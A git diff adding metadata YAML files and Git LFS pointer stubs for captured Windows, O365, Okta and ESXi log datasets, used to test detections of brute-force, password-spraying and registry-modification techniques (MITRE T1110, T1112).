a/datasets/attack_techniques/T1110.003/purplesharp_disabled_users_kerberos_xml/T1110.003_purplesharp_disabled_users_kerberos_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_disabled_users_kerberos_xml/T1110.003_purplesharp_disabled_users_kerberos_xml.yml new file mode 100644 index 000000000..c0e265261 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_disabled_users_kerberos_xml/T1110.003_purplesharp_disabled_users_kerberos_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: a9e2f12e-973c-4900-8d77-4f7ba8cef6c1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Disabled + Users Failed To Authenticate Wth Kerberos +environment: attack_range +directory: purplesharp_disabled_users_kerberos_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_disabled_users_kerberos_xml/windows-security-a9e2f12e-973c-4900-8d77-4f7ba8cef6c1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_disabled_users_kerberos_xml/windows-security-a9e2f12e-973c-4900-8d77-4f7ba8cef6c1.log b/datasets/attack_techniques/T1110.003/purplesharp_disabled_users_kerberos_xml/windows-security-a9e2f12e-973c-4900-8d77-4f7ba8cef6c1.log new file mode 100644 index 000000000..636eac208 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_disabled_users_kerberos_xml/windows-security-a9e2f12e-973c-4900-8d77-4f7ba8cef6c1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:898ce8e15e73acb3fdeff4bb0a7a24fa3f4cede020adb88ab07068eec4dce398 +size 59050 diff --git a/datasets/attack_techniques/T1110.003/purplesharp_explicit_credential_spray_xml/T1110.003_purplesharp_explicit_credential_spray_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_explicit_credential_spray_xml/T1110.003_purplesharp_explicit_credential_spray_xml.yml new file mode 100644 index 000000000..88460e706 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_explicit_credential_spray_xml/T1110.003_purplesharp_explicit_credential_spray_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: f6cd6230-7229-4db5-ad75-69b85c8c4212 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Users Fail + To Authenticate Wth ExplicitCredentials +environment: attack_range +directory: purplesharp_explicit_credential_spray_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_explicit_credential_spray_xml/windows-security-f6cd6230-7229-4db5-ad75-69b85c8c4212.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_explicit_credential_spray_xml/windows-security-f6cd6230-7229-4db5-ad75-69b85c8c4212.log b/datasets/attack_techniques/T1110.003/purplesharp_explicit_credential_spray_xml/windows-security-f6cd6230-7229-4db5-ad75-69b85c8c4212.log new file mode 100644 index 000000000..402f5f4d7 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_explicit_credential_spray_xml/windows-security-f6cd6230-7229-4db5-ad75-69b85c8c4212.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d68424851e482ae974a9307579e5b273b10bffd09122a1cd9fe1c10210345470 +size 79201 diff --git a/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_kerberos_xml/T1110.003_purplesharp_invalid_users_kerberos_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_kerberos_xml/T1110.003_purplesharp_invalid_users_kerberos_xml.yml new file mode 100644 index 000000000..965b18510 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_kerberos_xml/T1110.003_purplesharp_invalid_users_kerberos_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: d05e81df-71ce-48cd-a27a-6c0a247b7b62 +date: '2026-07-13' +description: Curated attack data generated for detection Windows Multiple Invalid + Users Fail To Authenticate Using Kerberos +environment: attack_range +directory: purplesharp_invalid_users_kerberos_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_invalid_users_kerberos_xml/windows-security-d05e81df-71ce-48cd-a27a-6c0a247b7b62.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_kerberos_xml/windows-security-d05e81df-71ce-48cd-a27a-6c0a247b7b62.log b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_kerberos_xml/windows-security-d05e81df-71ce-48cd-a27a-6c0a247b7b62.log new file mode 100644 index 000000000..11dc191b2 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_kerberos_xml/windows-security-d05e81df-71ce-48cd-a27a-6c0a247b7b62.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0931f4a074dbb72e683c28692095f994cd98f02ee431bceb7556baab26933500 +size 2745 diff --git a/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_ntlm_xml/T1110.003_purplesharp_invalid_users_ntlm_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_ntlm_xml/T1110.003_purplesharp_invalid_users_ntlm_xml.yml new file mode 100644 index 000000000..5c60fb725 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_ntlm_xml/T1110.003_purplesharp_invalid_users_ntlm_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: 57619421-6bda-436b-a327-3e5e685c1eec +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Invalid + Users Failed To Authenticate Using NTLM +environment: attack_range +directory: purplesharp_invalid_users_ntlm_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_invalid_users_ntlm_xml/windows-security-57619421-6bda-436b-a327-3e5e685c1eec.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_ntlm_xml/windows-security-57619421-6bda-436b-a327-3e5e685c1eec.log b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_ntlm_xml/windows-security-57619421-6bda-436b-a327-3e5e685c1eec.log new file mode 100644 index 000000000..2a609a530 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_invalid_users_ntlm_xml/windows-security-57619421-6bda-436b-a327-3e5e685c1eec.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3d662f98505d290465587745c4314302dfbdb3a251f678dec60181963eee5b6e +size 40150 diff --git a/datasets/attack_techniques/T1110.003/purplesharp_multiple_users_from_process_xml/T1110.003_purplesharp_multiple_users_from_process_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_multiple_users_from_process_xml/T1110.003_purplesharp_multiple_users_from_process_xml.yml new file mode 100644 index 000000000..fc80fb70c --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_multiple_users_from_process_xml/T1110.003_purplesharp_multiple_users_from_process_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: 059eac8a-737c-4fea-9f9b-3c7c86caf133 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Users Failed + To Authenticate From Process +environment: attack_range +directory: purplesharp_multiple_users_from_process_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_multiple_users_from_process_xml/windows-security-059eac8a-737c-4fea-9f9b-3c7c86caf133.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_multiple_users_from_process_xml/windows-security-059eac8a-737c-4fea-9f9b-3c7c86caf133.log b/datasets/attack_techniques/T1110.003/purplesharp_multiple_users_from_process_xml/windows-security-059eac8a-737c-4fea-9f9b-3c7c86caf133.log new file mode 100644 index 000000000..75710b3ae --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_multiple_users_from_process_xml/windows-security-059eac8a-737c-4fea-9f9b-3c7c86caf133.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:38631f0140ff85c7cfd83b4c27d5a9a40ddf83fb9d2123de089622d02114d9f6 +size 81405 diff --git a/datasets/attack_techniques/T1110.003/purplesharp_remote_spray_xml/T1110.003_purplesharp_remote_spray_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_remote_spray_xml/T1110.003_purplesharp_remote_spray_xml.yml new file mode 100644 index 000000000..6a420f505 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_remote_spray_xml/T1110.003_purplesharp_remote_spray_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: ecae5a49-d4b8-4543-96c5-e5e49714d1a3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Users Remotely + Failed To Authenticate From Host +environment: attack_range +directory: purplesharp_remote_spray_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_remote_spray_xml/windows-security-ecae5a49-d4b8-4543-96c5-e5e49714d1a3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_remote_spray_xml/windows-security-ecae5a49-d4b8-4543-96c5-e5e49714d1a3.log b/datasets/attack_techniques/T1110.003/purplesharp_remote_spray_xml/windows-security-ecae5a49-d4b8-4543-96c5-e5e49714d1a3.log new file mode 100644 index 000000000..e5eab20c5 --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_remote_spray_xml/windows-security-ecae5a49-d4b8-4543-96c5-e5e49714d1a3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1c0180114069d6e6c6df4b660995c04e11af7e23c9931ba7e286a2cc4e87918b +size 72288 diff --git a/datasets/attack_techniques/T1110.003/purplesharp_valid_users_kerberos_xml/T1110.003_purplesharp_valid_users_kerberos_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_kerberos_xml/T1110.003_purplesharp_valid_users_kerberos_xml.yml new file mode 100644 index 000000000..a0ce4fafc --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_kerberos_xml/T1110.003_purplesharp_valid_users_kerberos_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: f45fabf2-393c-46d0-8a56-c505e15d74ff +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Users Failed + To Authenticate Using Kerberos +environment: attack_range +directory: purplesharp_valid_users_kerberos_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_valid_users_kerberos_xml/windows-security-f45fabf2-393c-46d0-8a56-c505e15d74ff.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_valid_users_kerberos_xml/windows-security-f45fabf2-393c-46d0-8a56-c505e15d74ff.log b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_kerberos_xml/windows-security-f45fabf2-393c-46d0-8a56-c505e15d74ff.log new file mode 100644 index 000000000..4449f6e3f --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_kerberos_xml/windows-security-f45fabf2-393c-46d0-8a56-c505e15d74ff.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:740304b876f05fa4ea96db37b666e5b5946cccc566795f267e488eea89f63e88 +size 52944 diff --git a/datasets/attack_techniques/T1110.003/purplesharp_valid_users_ntlm_xml/T1110.003_purplesharp_valid_users_ntlm_xml.yml b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_ntlm_xml/T1110.003_purplesharp_valid_users_ntlm_xml.yml new file mode 100644 index 000000000..09f3e536a --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_ntlm_xml/T1110.003_purplesharp_valid_users_ntlm_xml.yml @@ -0,0 +1,13 @@ +author: STRT +id: fe443bb1-55d6-4cf9-8a4a-a6d255dd495a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Multiple Users Failed + To Authenticate From Host Using NTLM +environment: attack_range +directory: purplesharp_valid_users_ntlm_xml +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.003/purplesharp_valid_users_ntlm_xml/windows-security-fe443bb1-55d6-4cf9-8a4a-a6d255dd495a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.003/purplesharp_valid_users_ntlm_xml/windows-security-fe443bb1-55d6-4cf9-8a4a-a6d255dd495a.log b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_ntlm_xml/windows-security-fe443bb1-55d6-4cf9-8a4a-a6d255dd495a.log new file mode 100644 index 000000000..04c10348e --- /dev/null +++ b/datasets/attack_techniques/T1110.003/purplesharp_valid_users_ntlm_xml/windows-security-fe443bb1-55d6-4cf9-8a4a-a6d255dd495a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:121bee697cc0bb304a37a910231b5355c9f785876c76696adf244395dd4cc405 +size 40398 diff --git a/datasets/attack_techniques/T1110.004/local_administrator_cred_stuffing/T1110.004_local_administrator_cred_stuffing.yml b/datasets/attack_techniques/T1110.004/local_administrator_cred_stuffing/T1110.004_local_administrator_cred_stuffing.yml new file mode 100644 index 000000000..9a0abc011 --- /dev/null +++ b/datasets/attack_techniques/T1110.004/local_administrator_cred_stuffing/T1110.004_local_administrator_cred_stuffing.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4664d3cf-6268-48a1-96ec-0e0c32a95454 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Local Administrator + Credential Stuffing +environment: attack_range +directory: local_administrator_cred_stuffing +mitre_technique: [] +datasets: +- name: windows-security + path: /datasets/attack_techniques/T1110.004/local_administrator_cred_stuffing/windows-security-4664d3cf-6268-48a1-96ec-0e0c32a95454.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1110.004/local_administrator_cred_stuffing/windows-security-4664d3cf-6268-48a1-96ec-0e0c32a95454.log b/datasets/attack_techniques/T1110.004/local_administrator_cred_stuffing/windows-security-4664d3cf-6268-48a1-96ec-0e0c32a95454.log new file mode 100644 index 000000000..016d9f1ae --- /dev/null +++ b/datasets/attack_techniques/T1110.004/local_administrator_cred_stuffing/windows-security-4664d3cf-6268-48a1-96ec-0e0c32a95454.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a1914b09ca3a3c3267664b0c99d151ee4b1ef3a3ed487600b9d83306ec5f09c9 +size 75753 diff --git a/datasets/attack_techniques/T1110/azure_mfasweep_events/T1110_azure_mfasweep_events.yml b/datasets/attack_techniques/T1110/azure_mfasweep_events/T1110_azure_mfasweep_events.yml new file mode 100644 index 000000000..8b5f35fdf --- /dev/null +++ b/datasets/attack_techniques/T1110/azure_mfasweep_events/T1110_azure_mfasweep_events.yml @@ -0,0 +1,13 @@ +author: STRT +id: 55a49ce9-ebe1-40e4-b5d0-ce88eea3db51 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Multiple OS Vendors + Authenticating From User +environment: attack_range +directory: azure_mfasweep_events +mitre_technique: [] +datasets: +- name: azure_mfasweep_events + path: /datasets/attack_techniques/T1110/azure_mfasweep_events/azure_mfasweep_events-55a49ce9-ebe1-40e4-b5d0-ce88eea3db51.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1110/azure_mfasweep_events/azure_mfasweep_events-55a49ce9-ebe1-40e4-b5d0-ce88eea3db51.log b/datasets/attack_techniques/T1110/azure_mfasweep_events/azure_mfasweep_events-55a49ce9-ebe1-40e4-b5d0-ce88eea3db51.log new file mode 100644 index 000000000..64caec1db --- /dev/null +++ b/datasets/attack_techniques/T1110/azure_mfasweep_events/azure_mfasweep_events-55a49ce9-ebe1-40e4-b5d0-ce88eea3db51.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:01c213ba55cde1743fb22c2d442e7c8cd3440b8ec9dbf4e87ef16fa76b6aedef +size 12474 diff --git a/datasets/attack_techniques/T1110/esxi_ssh_brute_force/T1110_esxi_ssh_brute_force.yml b/datasets/attack_techniques/T1110/esxi_ssh_brute_force/T1110_esxi_ssh_brute_force.yml new file mode 100644 index 000000000..fbe8c23a9 --- /dev/null +++ b/datasets/attack_techniques/T1110/esxi_ssh_brute_force/T1110_esxi_ssh_brute_force.yml @@ -0,0 +1,12 @@ +author: STRT +id: 14fa0ebe-8f70-4825-b9ee-5258b1fb78e1 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi SSH Brute Force +environment: attack_range +directory: esxi_ssh_brute_force +mitre_technique: [] +datasets: +- name: esxi_ssh_brute_force + path: /datasets/attack_techniques/T1110/esxi_ssh_brute_force/esxi_ssh_brute_force-14fa0ebe-8f70-4825-b9ee-5258b1fb78e1.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1110/esxi_ssh_brute_force/esxi_ssh_brute_force-14fa0ebe-8f70-4825-b9ee-5258b1fb78e1.log b/datasets/attack_techniques/T1110/esxi_ssh_brute_force/esxi_ssh_brute_force-14fa0ebe-8f70-4825-b9ee-5258b1fb78e1.log new file mode 100644 index 000000000..5d70bb2af --- /dev/null +++ b/datasets/attack_techniques/T1110/esxi_ssh_brute_force/esxi_ssh_brute_force-14fa0ebe-8f70-4825-b9ee-5258b1fb78e1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d39f5259a733f4262a805725c4d78aea301a72629f3024be40ee61f147bcf746 +size 2141 diff --git a/datasets/attack_techniques/T1110/o365_brute_force_login/T1110_o365_brute_force_login.yml b/datasets/attack_techniques/T1110/o365_brute_force_login/T1110_o365_brute_force_login.yml new file mode 100644 index 000000000..87cf1c0c9 --- /dev/null +++ b/datasets/attack_techniques/T1110/o365_brute_force_login/T1110_o365_brute_force_login.yml @@ -0,0 +1,13 @@ +author: STRT +id: 02879f53-ad9a-4196-be9b-622af377d15a +date: '2026-07-10' +description: Curated attack data generated for detection O365 Excessive Authentication + Failures Alert +environment: attack_range +directory: o365_brute_force_login +mitre_technique: [] +datasets: +- name: o365_brute_force_login + path: /datasets/attack_techniques/T1110/o365_brute_force_login/o365_brute_force_login-02879f53-ad9a-4196-be9b-622af377d15a.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1110/o365_brute_force_login/o365_brute_force_login-02879f53-ad9a-4196-be9b-622af377d15a.log b/datasets/attack_techniques/T1110/o365_brute_force_login/o365_brute_force_login-02879f53-ad9a-4196-be9b-622af377d15a.log new file mode 100644 index 000000000..deee58a72 --- /dev/null +++ b/datasets/attack_techniques/T1110/o365_brute_force_login/o365_brute_force_login-02879f53-ad9a-4196-be9b-622af377d15a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fc4c6360e23705138ce3bc313933bb64b260e04fac928ad7142b67c16c71303f +size 163733 diff --git a/datasets/attack_techniques/T1110/okta_multiple_accounts_lockout/T1110_okta_multiple_accounts_lockout.yml b/datasets/attack_techniques/T1110/okta_multiple_accounts_lockout/T1110_okta_multiple_accounts_lockout.yml new file mode 100644 index 000000000..02d99f7dc --- /dev/null +++ b/datasets/attack_techniques/T1110/okta_multiple_accounts_lockout/T1110_okta_multiple_accounts_lockout.yml @@ -0,0 +1,13 @@ +author: STRT +id: d7e9d22a-78a0-4830-8e90-3dd1194a5959 +date: '2026-07-13' +description: Curated attack data generated for detection Okta Multiple Accounts Locked + Out +environment: attack_range +directory: okta_multiple_accounts_lockout +mitre_technique: [] +datasets: +- name: okta_multiple_accounts_lockout + path: /datasets/attack_techniques/T1110/okta_multiple_accounts_lockout/okta_multiple_accounts_lockout-d7e9d22a-78a0-4830-8e90-3dd1194a5959.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1110/okta_multiple_accounts_lockout/okta_multiple_accounts_lockout-d7e9d22a-78a0-4830-8e90-3dd1194a5959.log b/datasets/attack_techniques/T1110/okta_multiple_accounts_lockout/okta_multiple_accounts_lockout-d7e9d22a-78a0-4830-8e90-3dd1194a5959.log new file mode 100644 index 000000000..828ada299 --- /dev/null +++ b/datasets/attack_techniques/T1110/okta_multiple_accounts_lockout/okta_multiple_accounts_lockout-d7e9d22a-78a0-4830-8e90-3dd1194a5959.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e1e1e9576b73079df0ccde90b78ce121294d89265b44a52ba22be68e84a63aef +size 14560 diff --git a/datasets/attack_techniques/T1112/AuthenticationLevelOverride/T1112_AuthenticationLevelOverride.yml b/datasets/attack_techniques/T1112/AuthenticationLevelOverride/T1112_AuthenticationLevelOverride.yml new file mode 100644 index 000000000..a2df643c8 --- /dev/null +++ b/datasets/attack_techniques/T1112/AuthenticationLevelOverride/T1112_AuthenticationLevelOverride.yml @@ -0,0 +1,12 @@ +author: STRT +id: d5d19664-5810-46d8-8767-405eceab8d49 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry AuthenticationLevelOverride +environment: attack_range +directory: AuthenticationLevelOverride +mitre_technique: [] +datasets: +- name: auth_sys + path: /datasets/attack_techniques/T1112/AuthenticationLevelOverride/auth_sys-d5d19664-5810-46d8-8767-405eceab8d49.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/AuthenticationLevelOverride/auth_sys-d5d19664-5810-46d8-8767-405eceab8d49.log b/datasets/attack_techniques/T1112/AuthenticationLevelOverride/auth_sys-d5d19664-5810-46d8-8767-405eceab8d49.log new file mode 100644 index 000000000..6da9a9b92 --- /dev/null +++ b/datasets/attack_techniques/T1112/AuthenticationLevelOverride/auth_sys-d5d19664-5810-46d8-8767-405eceab8d49.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3aaaed08919d925a553437a7ccce80c86c0962fa0c4e9b99ccba31db665ea9d5 +size 1147 diff --git a/datasets/attack_techniques/T1112/DisableRemoteDesktopAntiAlias/T1112_DisableRemoteDesktopAntiAlias.yml b/datasets/attack_techniques/T1112/DisableRemoteDesktopAntiAlias/T1112_DisableRemoteDesktopAntiAlias.yml new file mode 100644 index 000000000..2b1180605 --- /dev/null +++ b/datasets/attack_techniques/T1112/DisableRemoteDesktopAntiAlias/T1112_DisableRemoteDesktopAntiAlias.yml @@ -0,0 +1,12 @@ +author: STRT +id: 5a18500b-5763-450e-9319-cd795198940e +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry DisableRemoteDesktopAntiAlias +environment: attack_range +directory: DisableRemoteDesktopAntiAlias +mitre_technique: [] +datasets: +- name: disable_remote_alias + path: /datasets/attack_techniques/T1112/DisableRemoteDesktopAntiAlias/disable_remote_alias-5a18500b-5763-450e-9319-cd795198940e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/DisableRemoteDesktopAntiAlias/disable_remote_alias-5a18500b-5763-450e-9319-cd795198940e.log b/datasets/attack_techniques/T1112/DisableRemoteDesktopAntiAlias/disable_remote_alias-5a18500b-5763-450e-9319-cd795198940e.log new file mode 100644 index 000000000..793d8aaf8 --- /dev/null +++ b/datasets/attack_techniques/T1112/DisableRemoteDesktopAntiAlias/disable_remote_alias-5a18500b-5763-450e-9319-cd795198940e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:049162261f287e4d87e9ac9ca6e6a75c257fb896a74ea4ccae19b80e16c4b4d3 +size 1120 diff --git a/datasets/attack_techniques/T1112/atomic_red_team/T1112_atomic_red_team.yml b/datasets/attack_techniques/T1112/atomic_red_team/T1112_atomic_red_team.yml new file mode 100644 index 000000000..ba47f6454 --- /dev/null +++ b/datasets/attack_techniques/T1112/atomic_red_team/T1112_atomic_red_team.yml @@ -0,0 +1,21 @@ +author: STRT +id: 0eadd9a0-c9a9-4249-b354-e50cce0ae0a5 +date: '2026-07-11' +description: Curated attack data generated for detection Enable WDigest UseLogonCredential + Registry +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: wdigest_windows-sysmon + path: /datasets/attack_techniques/T1112/atomic_red_team/wdigest_windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: windows-sysmon-webview + path: /datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-webview-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/atomic_red_team/wdigest_windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log b/datasets/attack_techniques/T1112/atomic_red_team/wdigest_windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log new file mode 100644 index 000000000..01eb12999 --- /dev/null +++ b/datasets/attack_techniques/T1112/atomic_red_team/wdigest_windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f51bc14b916e66487c299ffa642b938a26b14a5d934933eb2c32bb136dc0d353 +size 1116 diff --git a/datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log b/datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log new file mode 100644 index 000000000..85c7b699d --- /dev/null +++ b/datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4b07ea40684264d0371ff4d10716130b84e9add040daa4c2f2df053186c34886 +size 90039 diff --git a/datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-webview-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log b/datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-webview-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log new file mode 100644 index 000000000..90c3097b5 --- /dev/null +++ b/datasets/attack_techniques/T1112/atomic_red_team/windows-sysmon-webview-0eadd9a0-c9a9-4249-b354-e50cce0ae0a5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2843119d11630f50d52660b99087b8e47a89fc5c4b01f098664f00ff9cb963e3 +size 42342 diff --git a/datasets/attack_techniques/T1112/attack_techniques_T1112.yml b/datasets/attack_techniques/T1112/attack_techniques_T1112.yml new file mode 100644 index 000000000..48b0b2e4b --- /dev/null +++ b/datasets/attack_techniques/T1112/attack_techniques_T1112.yml @@ -0,0 +1,12 @@ +author: STRT +id: d03ea29b-bce5-4d41-9941-6b1e3a2339ba +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry DisableSecuritySettings +environment: attack_range +directory: T1112 +mitre_technique: [] +datasets: +- name: disablesecuritysetting + path: /datasets/attack_techniques/T1112/disablesecuritysetting-d03ea29b-bce5-4d41-9941-6b1e3a2339ba.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/bitlocker_registry_setting/T1112_bitlocker_registry_setting.yml b/datasets/attack_techniques/T1112/bitlocker_registry_setting/T1112_bitlocker_registry_setting.yml new file mode 100644 index 000000000..34583c23c --- /dev/null +++ b/datasets/attack_techniques/T1112/bitlocker_registry_setting/T1112_bitlocker_registry_setting.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0e20ec98-d62d-40c3-a8d8-6a8e86ec3b45 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry Configure + BitLocker +environment: attack_range +directory: bitlocker_registry_setting +mitre_technique: [] +datasets: +- name: fve-reg + path: /datasets/attack_techniques/T1112/bitlocker_registry_setting/fve-reg-0e20ec98-d62d-40c3-a8d8-6a8e86ec3b45.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/bitlocker_registry_setting/fve-reg-0e20ec98-d62d-40c3-a8d8-6a8e86ec3b45.log b/datasets/attack_techniques/T1112/bitlocker_registry_setting/fve-reg-0e20ec98-d62d-40c3-a8d8-6a8e86ec3b45.log new file mode 100644 index 000000000..5771a699a --- /dev/null +++ b/datasets/attack_techniques/T1112/bitlocker_registry_setting/fve-reg-0e20ec98-d62d-40c3-a8d8-6a8e86ec3b45.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:857d09a0276df28e7c6ba748290a38171c435527a091be76f6e05b66b2fbc1ca +size 9732 diff --git 